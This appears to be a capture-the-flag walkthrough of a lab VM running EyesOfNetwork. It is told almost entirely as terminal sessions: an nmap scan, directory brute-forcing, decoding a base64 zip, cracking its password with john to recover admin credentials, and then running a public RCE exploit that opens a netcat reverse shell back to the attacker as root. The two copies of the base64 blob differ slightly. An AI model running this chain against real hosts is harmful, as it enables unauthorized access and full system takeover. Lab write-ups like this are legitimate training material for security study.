

```
> cat target -l python -p
# Nmap 7.95 scan initiated Thu Apr 3 16:39:42 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p22,66,80,111,443,2403,3306,8086 -oN target
Nmap scan report for 10.0.2.76
Host is up (0.00015s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.4 (protocol 2.0)
|_ ssh-hostkey:
|_ 2048 c4:fa:e5:5f:88:c1:a1:f0:51:8b:ae:e3:fb:c1:27:72 (RSA)
|_ 256 01:97:8b:bf:ad:ba:5c:78:a7:45:90:a1:0a:63:fc:21 (ECDSA)
|_ 256 45:28:39:e0:1b:a8:85:e0:c0:b0:fa:1f:00:8c:5e:d1 (ED25519)
66/tcp    open  http         SimpleHTTPServer 0.6 (Python 2.7.5)
|_ http-title: Scalable Cost Effective Cloud Storage for Developers
|_ http-server-header: SimpleHTTP/0.6 Python/2.7.5
80/tcp    open  http         Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3)
|_ http-title: Did not follow redirect to https://10.0.2.76/
|_ http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3
111/tcp   open  rpcbind      2-4 (RPC #100000)
|_ rpcinfo:
|_ program version port/proto service
|_ 100000 2,3,4 111/tcp rpcbind
|_ 100000 2,3,4 111/udp rpcbind
|_ 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
443/tcp   open  ssl/http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3)
|_ ssl-date: TLS randomness does not represent time
|_ http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3
|_ http-title: EyesOfNetwork
|_ Requested resource was /login.php##
|_ ssl-cert: Subject: commonName=localhost/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
|_ Not valid before: 2021-04-03T14:37:22
|_ Not valid after: 2022-04-03T14:37:22
2403/tcp  open  taskmaster2000?
3306/tcp  open  mysql        MariaDB 10.3.23 or earlier (unauthorized)
8086/tcp  open  http         InfluxDB http admin 1.7.9
|_ http-title: Site doesn't have a title (text/plain; charset=utf-8).
MAC Address: 08:00:27:9F:18:20 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

> dirsearch -u http://10.0.2.76:66 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an
from pkg_resources import DistributionNotFound, VersionConflict

      .-.-.-.-.      v0.4.3
    (---) (---) (---)

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 220544

Output File: /home/kali/Drift/reports/http_10.0.2.76_66/_25-04-03_18-19-43.txt

Target: http://10.0.2.76:66/

[18:19:43] Starting:
[18:19:54] 301 - 0B - /index_files -> /index_files/
[18:25:59] 200 - 248B - /eon

10.0.2.76:66/eon

dsAllTheThings  Nessus  SonarQube  CCNA  OTW  HMVM  DL  VHB  THL  R-M  THM  eon
Archivo movido o

Task completed
> cat eon

File: eon

1  UEsDBBQAAQAAAAOfg1LxSVvWHwAAABMAAAAJAAAY3JlZHMudHh0930svnCY1d4tLCZqMvRD+ZUU
2  Rw+5YmOf9bS11scvmFBLAQI/ABQAAQAAAAOfg1LxSVvWHwAAABMAAAAJACQAAAAAAAAAIAAAAAA
3  AABjcmVkcY50eHQKACAAAAAAAEAGABssaU7qijXAYPcazaqKNcBg9xrNqoo1wFQSwUGAAAAAAEA
4  AQBbAAAAARgAAAAA

> echo "UEsDBBQAAQAAAAOfg1LxSVvWHwAAABMAAAAJAAAY3JlZHMudHh0930svnCY1d4tLCZqMvRD+ZUU
Rw+5YmOf9bS11scvmFBLAQI/ABQAAQAAAAOfg1LxSVvWHwAAABMAAAAJACQAAAAAAAAAIAAAAAA
AABjcmVkcY50eHQKACAAAAAAAEAGABssaU7qijXAYPcazaqKNcBg9xrNqoo1wFQSwUGAAAAAAEA
AQBbAAAAARgAAAAA" | base64 -d
PKRI[ creds.txtsp-,&j2CGbc/PK?RI[ $ creds.txt
l;(k6(k6(PK[F
```

## Base64\*

```
UESDBBQAAQAAAA0fg1LxSVvWHwAAABMAAAAJAAAAY3JlZHMudHh0930svnCY1d4tLCZqMvRD+ZUU  
Rw+5YmOf9bS11scvmFBLAQI/ABQAAQAAAA0fg1LxSVvWHwAAABMAAAAJACQAAAAAAAAIAAAAAA  
AABjcmVkcys0eHQKACAAAAAAAEAGABsaU7qijXAYPcazaqKNcBg9xrNqoolwFQSwUGAAAAAAEA  
AQBbAAAAARgAAAAA
```

## Decode Base64 to File

### Preview

*Your browser cannot display the file as "application/zip".*

### File Info

- MIME type: application/zip
- Extension: zip
- Size: 183 B
- Download: [application.zip](#)

```
> unzip application.zip
Archive:  application.zip
[application.zip] creds.txt password:
      skipping: creds.txt                incorrect password
```

```
> zip2john application.zip > pass.txt
ver 2.0 application.zip/creds.txt PKZIP Encr: cmplen=31, decmplen=19, crc=D65B49F1 ts=9F03 cs=d65b type=0
> john pass.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
killah (application.zip/creds.txt)
1g 0:00:00:02 DONE 3/3 (2025-04-03 19:41) 0.4132g/s 3987Kp/s 3987Kc/s 3987KC/s kabtw5..kill3n
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

```
> cat creds.txt
```

	File: creds.txt
1	admin
2	isitreal31__

Exploit Title	Path
EyesOfNetwork (EON) 5.0 - Remote Code Execution	php/webapps/41746.md
EyesOfNetwork (EON) 5.0 - SQL Injection	php/webapps/41747.md
EyesOfNetwork (EON) 5.1 - SQL Injection	php/webapps/41774.py
EyesOfNetwork - AutoDiscovery Target Command Execution (Metasploit)	multiple/remote/48169.rb
EyesOfNetwork 5.1 - Authenticated Remote Command Execution	php/webapps/47288.py
EyesOfNetwork 5.3 - File Upload Remote Code Execution	multiple/webapps/49432.sh
EyesOfNetwork 5.3 - LFI	multiple/webapps/49404.txt
EyesOfNetwork 5.3 - RCE & PrivEsc	multiple/webapps/49402.txt
EyesOfNetwork 5.3 - Remote Code Execution	php/webapps/48025.txt

```
> mv 48025.txt exploit.py
> python3 exploit.py
usage:
+-----+
| EyesOfNetwork 5.3 RCE (API v2.4.2)
| 02/2020 - Clément Billac Twitter: @h4knet
|
| Examples:
| eonrce.py -h
| eonrce.py http(s)://EyesOfNetwork-URL
| eonrce.py https://eon.thinc.local -ip 10.11.0.182 -port 3128
| eonrce.py https://eon.thinc.local -ip 10.11.0.182 -user pentest2020
```

```
> python3 exploit.py https://10.0.2.76 -ip 10.0.2.65
+-----+
| EyesOfNetwork 5.3 RCE (API v2.4.2) |
| 02/2020 - Clément Billac Twitter: @h4knet |
+-----+

[*] EyesOfNetwork login page found
[*] EyesOfNetwork API page found. API version: 2.4.2
[+] Admin user key obtained: 85c1c222fd0785c955c88df245d04bc06bac766cb8105b308becac28292ed233
[!] The user h4ker already exists
[+] Successfully authenticated
[+] Discovery job successfully created with ID: 6&review=1" id="completemsg" style="display: none;">
<div class="roundedcorner_success_box">
<div class="roundedcorner_success_top"><div></div></div>
<div class="roundedcorner_success_content">
    Auto-Discovery Complete. Click to Continue To Reviewing Found Devices
</div>
<div class="roundedcorner_success_bottom"><div></div></div>
</div></a>
[*] Spawning netcat listener:
listening on [10.0.2.65] 443 ...
connect to [10.0.2.65] from (UNKNOWN) [10.0.2.76] 56290
sh: no job control in this shell
sh-4.2# id
id
uid=0(root) gid=0(root) groups=0(root)
sh-4.2# whoami
whoami
root
```